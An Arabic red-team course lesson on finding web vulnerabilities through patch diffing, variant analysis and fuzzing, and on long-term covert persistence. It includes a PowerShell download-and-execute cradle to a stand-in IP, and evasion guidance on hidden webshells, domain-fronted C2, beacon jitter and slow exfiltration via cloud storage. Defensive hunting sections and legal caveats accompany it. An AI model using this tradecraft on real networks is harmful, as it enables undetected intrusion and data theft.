الفرق الحمراء — الهجومخبير120mL62

أبحاث ثغرات الويب وعمليات الإقامة الطويلة

اكتشاف ثغرات جديدة، تحليل المتغيرات، وعمليات منخفضة وبطيئة

#0-day#Variant Analysis#Patch Diffing#Fuzzing#Long-Haul

لماذا هذا الدرس مختلف

الدروس السابقة (web-attacks، advanced-web، web-redteam-deep) علّمتك كيف تستغل ثغرات معروفة. هذا الدرس يعلّمك كيف تجد ثغرة لم يكتشفها أحد بعد، وكيف تبقى داخل الهدف لأشهر دون أن تُكتشف. هذه المهارة الحقيقية لفرق العمليات المصرّح لها فيدرالياً — لأن الثغرات الجديدة لا تحتوي توقيعات IDS وتعطي وصولاً قبل أن يكتب أحد patch.

تشبيه — شرح مبسط
الفرق بين قارئ CVE وباحث ثغرات هو الفرق بين قارئ الجرائد ومحقق الجرائم. الأول يعرف ما حدث؛ الثاني يعرف ما سيحدث لأنه يقرأ الكود قبل أن يقرأه الخصم.
تحذير قانوني صارم
كل تقنية في هذا الدرس قانونية فقط على: (1) أنظمة تملكها، (2) برامج bug bounty صريحة، (3) عقد pentest موقّع، (4) تفويض حكومي مكتوب ضمن صلاحيات Title 10/50 أو ما يماثلها. اختبار ثغرة "صفرية" على نظام إنتاج بدون إذن = جناية فيدرالية تحت CFAA §1030(a)(5) حتى لو لم تستغلها.

منهجية البحث — هرم الإيجاد

الباحثون الجادون لا يبدأون بـ fuzzer عشوائي. يتبعون هرماً — كل طبقة أرخص بكثير من التالية:

1) قراءة المصدر — أرخص طبقة
لو الكود مفتوح، اقرأه. 40% من ثغرات الويب الحديثة تُكتشف بقراءة git diff لـ commit واحد. ركّز على: parsers، deserializers، URL handlers، template engines، authz middleware.
2) Patch Diffing — استخرج الثغرة من الإصلاح
كل patch أمني يكشف عن ثغرتين: المُصلَحة، و المنسية. قارن قبل/بعد، حدّد التحقق المُضاف، وابحث عن كل مكان آخر يفتقد نفس التحقق.
3) Variant Analysis — التوسع الأفقي
ثغرة واحدة = نمط. ابحث عن نفس النمط في 50 مكان آخر. Project Zero بنى سمعته على هذا — ثغرة type confusion واحدة في V8 أنتجت 12 CVE.
4) Targeted Fuzzing — للحالات المعقدة
بعد فهم البنية. harness مخصص للهدف، ليس wfuzz على endpoint. القيمة في الـ corpus، لا الأداة.
5) Specification Auditing — أعمق طبقة
اقرأ RFCs بعين عدائية. Request smuggling اكتشف لأن باحثاً قرأ RFC 7230 وفهم أن CL وTE لا يتفقان عند البروكسي. ثغرات بمليار دولار من قراءة وثيقة.
6) Logic Hunting — لا أداة تجدها
ثغرات منطق العمل (race conditions في الدفع، state machine flaws، authorization bypasses). يدوية بحتة. أعلى ROI في bug bounties الكبيرة.

Patch Diffing عملياً — الطريق الأقصر للـ n-day

أكثر من 60% من "الـ 0-days" التي يستخدمها مهاجمو الدول هي n-days — ثغرات صدر patch لها لكن الضحية لم يحدّث. الفرق بينك وبين APT هو من يقرأ الـ patch أسرع.

01
أمسك الـ commit الأمني

راقب: github.com/<vendor>/<product>/security/advisories، رسائل oss-security@، وملفات CHANGELOG. كلمات تستحق التنبيه: sanitize, escape, validate, auth, bypass, regression, CVE.

02
أعد بناء النسختين
$ git clone https://github.com/vendor/product && cd product
$ git checkout v1.2.3-vulnerable && docker build -t vuln .
$ git checkout v1.2.4-patched && docker build -t safe .
$ # الفرق فقط — السطور التي أُضيفت كحماية:
$ git diff v1.2.3-vulnerable v1.2.4-patched -- '*.py' '*.go' '*.ts'
03
عكس الـ patch إلى trigger

كل سطر تحقق مُضاف يجيب على سؤال: "ما المدخل الذي كان يكسر هذا؟". لو رأيت if (user.id != session.id) reject()، الـ trigger هو طلب يستخدم session واحدة وuser id آخر.

04
تحقق من الـ regression

كثير من الـ patches ناقصة. لو أصلحوا /api/users/<id>، تحقق من /api/v2/users/<id> و/internal/users/<id> و/admin/users?id=. غالباً واحد منها نُسي.

مثال واقعي
CVE-2023-46805 (Ivanti): Patch أوّلي أصلح مكاناً واحداً، الباحثون وجدوا 3 مسارات أخرى لنفس الـ auth bypass خلال 48 ساعة. النتيجة: استغلال جماعي على وكالات فيدرالية أمريكية.

Variant Analysis — كيف تحوّل ثغرة إلى عشر

لما تجد ثغرة، اسأل ثلاثة أسئلة فوراً:

  1. لماذا حدثت؟ ما الفرضية الخاطئة في عقل المطور؟ (مثلاً: "الـ URL parser يطابق ما تراه عيني").
  2. أين الفرضية نفسها مكررة؟ grep لنفس النمط في الـ codebase وفي مشاريع منافسة.
  3. ما هو الـ root API الضعيف؟ لو كان urllib.parse، فكل مشروع يستخدمه عرضة. اصعد إلى الجذر.
bash
# نمط CodeQL لإيجاد كل deserialization غير مؤمن في الـ codebase:
# (مثال تعليمي — استبدل بالنوع المناسب لمنتجك)
import python
from Call call, Name name
where
  name.getId() = "pickle.loads" and
  call.getFunc().(Attribute).getAttr() = name.getId() and
  not exists(IfStmt guard | guard.getAChild*() = call)
select call, "Unguarded pickle.loads — RCE primitive"
الدفاع — تحويل variant analysis ضدّك
فرق الـ AppSec الناضجة تشغّل CodeQL/Semgrep على كل PR بقواعد مكتوبة من CVEs الماضية للمنتج نفسه. كل ثغرة تُكتشف داخلياً تتحول إلى قاعدة دائمة. هذا يقفل عائلة كاملة من المتغيرات قبل الإنتاج.

بناء Fuzzing Harness للويب — ليس wfuzz

الـ fuzzing الفعّال للويب ليس "ضع كل payload على كل parameter". هو: اعزل المكوّن، صفّه structure-aware، راقب التغطية.

Coverage-Guided
AFL++, libFuzzer, restler-fuzzer لـ APIs. ميزتها: تعرف متى دخلت branch جديد، فلا تضيع وقتاً على مدخلات تكافئ.
Grammar-Based
Domato لـ DOM، Boofuzz لـ بروتوكولات. ضروري لمدخلات منظمة (HTTP/2, WebSocket frames).
Differential
أرسل نفس الـ payload لمحلّلَين (مثلاً Apache + Nginx، أو HAProxy + خلفية). كل اختلاف = ثغرة محتملة (request smuggling، parser confusion).
Stateful Web Fuzzing
RESTler من Microsoft. يقرأ OpenAPI، يبني grammar، يجرّب تسلسلات (POST → GET → PATCH) ليصل إلى حالات لا يصلها fuzzer بدون state.
bash
# مثال harness بسيط لـ JSON parser ضمن تطبيق Node.js:
# (هذا للمكتبة التي تملكها أو لها bug bounty)
npm i -D @jazzer.js/core
cat > fuzz.js <<'EOF'
const { parseUserInput } = require("./src/api");
module.exports.fuzz = (data) => {
  try { parseUserInput(data.toString()); }
  catch (e) {
    if (e instanceof TypeError && /Cannot read.*undefined/.test(e.message)) throw e;
  }
};
EOF
npx jazzer fuzz --sync

Logic Bugs — حيث لا أداة تساعدك

أعلى bounties (Apple $500k، Meta $300k) تأتي من ثغرات منطق، ليس injection. لا fuzzer يجدها. إليك أنماط مثبّتة:

  • State machine confusion: هل يمكن استدعاء /checkout/finalize قبل /checkout/pay؟ أنظمة الدفع بنيت على افتراض تسلسل.
  • TOCTOU في الويب: يقرأ السيرفر صلاحية، تتغير، ثم يستخدمها. race window بـ HTTP/2 multiplexing تصل لأقل من 1ms — وحدها Burp Turbo Intruder "single packet attack" كافية لاستغلالها.
  • Delegation flaws: الـ microservice A يثق أن B تحقق من الـ user؛ B يثق بـ A. لا أحد يتحقق فعلياً.
  • Currency/quantity rounding: اشترِ بـ -1 من المنتج، استرد المال 0، رصيدك زاد. (استُخدم على Starbucks 2015، PayPal 2018).
  • Reset poisoning: توكن إعادة كلمة السر يحوي header قابل للحقن (Host header injection) → ترسل الرابط لنطاقك → استلام التوكن.

ابتكار ثغرة عندما لا توجد — التفكير الخصومي

أحياناً الكود نظيف. الثغرة في بنية النظام:

  1. اكتب نموذج التهديد للهدف من الذاكرة، لا تنظر للكود. ما الفرضيات؟ (مثلاً: "CDN يمنع IP غير مدرج").
  2. اقتل كل فرضية واحدة-واحدة. هل يمكن تجاوز CDN عبر origin مكشوف؟ هل يمكن خداع الـ allow-list بـ DNS rebinding؟
  3. اربط primitives صغيرة. CRLF + open redirect + cache بدون keying = SSRF لكامل CDN. كل جزء وحده "لا يستحق الإبلاغ"؛ مجتمعة = critical.
  4. اقرأ المنشورات الأكاديمية. USENIX Security, IEEE S&P, BlackHat USA. تقنيات تظهر فيها قبل سنتين من ظهورها في bug bounties.
مصادر الباحثين الجادين
PortSwigger Research, Google Project Zero blog, Orange Tsai (Devcore), Frans Rosén (Detectify), James Kettle, Sam Curry. اقرأ كل تقرير writeup كأنه paper.

عمليات الإقامة الطويلة — Long-Haul Tradecraft

اكتشاف الثغرة هو 20% من العملية. الـ 80% الباقية: كيف تبقى داخل الشبكة 6-18 شهراً دون أن يُكتشف وجودك. هذا ما يميّز APT عن "script kiddie لديه CVE".

تشبيه — شرح مبسط
الـ smash-and-grab يدخل، يأخذ، يخرج. الـ long-haul يدخل، يصبح جزءاً من البنية، يخرج المعلومة عبر سنة. الفرق كالفرق بين سارق محل واستخباراتي مزروع.

مبادئ الـ Long-Haul الستة

01
Living Off the Land — لا تجلب أدواتك

كل ثنائية تسقطها = توقيع. استخدم ما هو موجود: curl, wget, certutil, bitsadmin, schtasks, wmic, PowerShell, sudo, cron, systemd. الويبشل الأمثل في 2026 ليس c99.php — هو سطر واحد مدفون في ملف JSON إعدادات.

02
Persistence بدون "persistence"

تجنب autoruns, services, scheduled tasks الواضحة. بدلاً منها: عدّل ملف .bashrc لخدمة، أضف صفحة إلى Confluence/SharePoint داخلية فيها webshell، أنشئ Lambda بصلاحيات IAM دائمة، عدّل قالب CloudFormation. هذه "مرئية" لكن لا تثير alerts.

03
C2 يبدو كـ traffic عادي
$ # سيء — يُكتشف خلال أيام:
$ powershell IEX (New-Object Net.WebClient).DownloadString('http://1.2.3.4:8080/payload')
$ # جيد — يبدو كـ M365 sync:
$ # domain fronting عبر Azure Front Door إلى bucket تحت سيطرتك،
$ # beacon كل 4 ساعات بـ jitter ±25%، حجم متغير، أوقات العمل فقط

قواعد ذهبية: (أ) لا beacon ثابت الفترة، (ب) تجنب IPs، استخدم نطاقات بسمعة (ج) TLS بشهادة LetsEncrypt حقيقية على نطاق "ممل" مسجّل قبل 6 أشهر، (د) شغّل beacon فقط داخل ساعات عمل المنطقة الزمنية للهدف.

04
Dormancy — التخفي عبر الانقطاع

الـ implant الذكي ينام أسابيع. Volt Typhoon (CCP APT المُتهم باختراق بنى تحتية أمريكية حرجة) بقي خاملاً 5 سنوات في بعض الأهداف. التفعيل عبر trigger خارجي (مثلاً تغريدة بـ hash معين، أو سجل DNS TXT يتحدث).

05
Tiered Access — لا تستخدم وصولك الأعمق

اقسم وصولك ثلاث طبقات: (1) recon — IP عبر VPN عام، يمكن أن يحرق، (2) operational — تستخدمه لجمع المعلومات، (3) crown jewel — لا يُستخدم إلا لاستخراج البيانات الحاسمة، مرة كل أشهر. حرق طبقة 1 لا يكشف 2 أو 3.

06
OPSEC اللغوي والثقافي

تعليقات في الكود، رسائل خطأ، أسماء ملفات، أوقات النشاط، حتى ترتيب لوحة المفاتيح — كل واحد يخون الجنسية. APT الأمريكية وُصفت بأنها "الوحيدة التي ترسل beacons في الإجازات الأمريكية لا الصينية". (راجع Equation Group leaks).

استخراج البيانات بدون أن يُلاحظ

  • تجزئة + تشفير + استبطاء: 100GB على 90 يوم بمعدل 12MB/ساعة لا يُلاحظ في معظم بيئات.
  • قنوات شرعية: ارفع البيانات إلى Google Drive/Dropbox/OneDrive بحساب enterprise "منسي". DLP غالباً تتسامح مع وجهات الـ SaaS المعروفة.
  • DNS exfil كملاذ أخير فقط؛ بطيء وصاخب لو قارنته بـ HTTPS لخدمة معروفة.
  • Steganography داخل صور تُرفع لمنصات تواصل اجتماعي شرعية (مع الحذر من إعادة الترميز).

الدفاع — كيف يصطاد المدافع البارع كل ما سبق

ضد Patch Diffing
(1) Coordinated disclosure مع backporting كامل — أصلح كل المسارات معاً. (2) Vulnerability-equivalent class scanning بـ Semgrep/CodeQL قبل الإصدار. (3) Honeypatches — endpoints قديمة تبدو ضعيفة لكنها تنبّه.
ضد Long-Haul
  • Hunting بدلاً من alerting. ابحث عن "ما الذي يبدو طبيعياً جداً ليكون طبيعياً؟" — مثلاً curl يعمل من Confluence server إلى Azure CDN كل 4 ساعات بدقة.
  • Beacon analytics: ابحث عن انتظام إحصائي في الفواصل الزمنية. RITA, Beacon Detection في Zeek.
  • Identity-centric detection: دورات حياة الهويات المخدومة تحت رقابة. حسابات تُستخدم كل 30 يوماً بدقة = شذوذ.
  • Canary tokens في كل مكان: مستندات مصرفية مزيفة، AWS keys مزيفة في الكود، صفحات SharePoint مفخخة. كل وصول = تنبيه فوري.
  • Egress baselining: اعرف الوجهات الطبيعية لكل نظام. Confluence لا يحتاج الإنترنت الخارجي. ادمج هذا في policy.
  • Threat hunting cadence: فرق ناضجة (FBI Cyber Action Team، CISA hunt) تفترض أن العدو داخل، تبحث استباقياً كل أسبوع.
MITRE ATT&CK mapping
معظم تقنيات هذا الدرس: T1190 (Exploit Public-Facing App)، T1133 (External Remote Services)، T1078 (Valid Accounts)، T1071.001 (Web C2)، T1568 (Dynamic Resolution)، T1102 (Web Service)، T1021 (Remote Services)، T1567 (Exfil Over Web Service)، T1546 (Event Triggered Execution).

الخط الأخلاقي والقانوني — قبل أن تبدأ

حدود لا تُعبر
  • لا تختبر على نظام بدون إذن مكتوب. "الموقع علني" لا يعني "مأذون". CFAA يلاحقك.
  • لا تطلق ثغرة في البرّية حتى لو كانت ضد "عدو". لو سُربت، ستُستخدم ضد بنية تحتية حليفة.
  • VEP (Vulnerabilities Equities Process): لو وجدت 0-day خطيرة، قانون أمريكي ملزم (PPD-41) يطلب تقييم Equities قبل استخدام عملياتي. لا تتخطاه.
  • أبلغ المؤسسة المعنية عبر القناة الصحيحة (CIRT الفيدرالي، CISA، أو الـ vendor) عند توفر مسار coordinated disclosure.
  • وثّق كل خطوة مع طابع زمني وتفويض. حماية شخصية + حماية الـ chain of custody لو تحوّل الأمر إلى قضية.

مراجع للتعمق

  • "A Bug Hunter's Diary" — Tobias Klein
  • Project Zero blog (googleprojectzero.blogspot.com) — كل تقرير دراسة كاملة في variant analysis
  • PortSwigger Research — James Kettle et al. — تقنيات ويب جديدة سنوياً
  • CISA Hunting Playbooks وFBI/CISA joint advisories — كيف تُكتشف العمليات طويلة المدى فعلياً
  • Mandiant M-Trends السنوي — متوسط dwell time العالمي وكيف يتطور
  • USENIX Security & IEEE S&P proceedings — أبحاث أكاديمية تسبق الصناعة بسنتين